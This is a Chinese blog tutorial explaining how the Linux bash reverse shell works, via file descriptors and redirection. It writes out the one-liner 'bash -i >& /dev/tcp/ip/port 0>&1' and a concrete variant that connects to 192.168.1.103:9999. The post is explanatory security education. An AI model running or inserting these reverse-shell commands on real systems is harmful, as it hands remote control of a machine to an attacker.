目录
  1. 1. 前置知识
    1. 1.1. 文件操作符
    2. 1.2. 重定向
    3. 1.3. &的作用
  2. 2. 命令分解
    1. 2.1. 命令
    2. 2.2. 各部分解释
    3. 2.3. 举例说明
      1. 2.3.1. 将标准输入重定向到攻击机
      2. 2.3.2. 将标准输出重定向到攻击机
      3. 2.3.3. 将0,1,2都重定向到攻击机
linux反弹shell

前置知识

文件操作符

可以理解为linux为文件这个“人”分配的身份证号 通过该身份证号(即文件操作符),可实现文件的读写操作

Linux启动时默认打开的文件操作符(所有的shellm命令都会默认打开下述三个文件描述符)

标准输入 standard input 0 (默认设备键盘)

标准输出 standard output 1 (默认设备显示器)

错误输出 error output 2 (默认设备显示器)

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出

重定向

应用场景

需要让输出不显示在显示器上,而是输出到文件或者其他设备的情况下 (显示器实质也是文件,重定向实质是重定向文件操作符)

分类

输入重定向 < <<

输出重定向 > >>

&的作用

1
2
3
4
5
[命令] >& [文件名]
将标准输出(1)和标准错误(2)的输出重定向到文件中

[文件描述符a] >& [文件描述符b]
将文件描述符a重定向至文件描述符b

命令分解

命令

1
bash -i >& /dev/[tcp|udp]/[ip]/[port] 0>&1

各部分解释

bash -i

1
在本地打开一个bash

/dev/[tcp|udp]/[ip]/[port]

1
建立tcp或者udp连接

bash -i >& /dev/[tcp|udp]/[ip]/[port]

1
将新建的bash中的标准输出(1)和标准错误(2)的输出重定向到/dev/[tcp|udp]/[ip]/[port]这个文件中,即传递到攻击机中

举例说明

  • 可以理解目标机选择性的将0,1,2重定向到攻击机中。

将标准输入重定向到攻击机

1
攻击前目标机中无1这个文件

img

1
监听并连接

img

1
在攻击机中输入touch 1,中断连接,结果如下

img

将标准输出重定向到攻击机

1
bash -i  0> /dev/tcp/192.168.1.103/9999 1>&0 2>&0

img

1
因为将标准输出重定向到了攻击机,所以在目标机中,命令的回显会显示在攻击机中,而攻击机中输入命令是无效的

img

将0,1,2都重定向到攻击机

这也就实现了反弹shell的功能

1
连接

img

可以看到由于0,1,2都被重定向,所以输入、输出、报错都显示在了攻击机这边

http://www.gtfly.top/2019/05/08/2019-05-08-%E5%8F%8D%E5%BC%B9shell/

文章作者: nocbtm
文章链接: https://nocbtm.github.io/2019/04/12/linux反弹shell/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝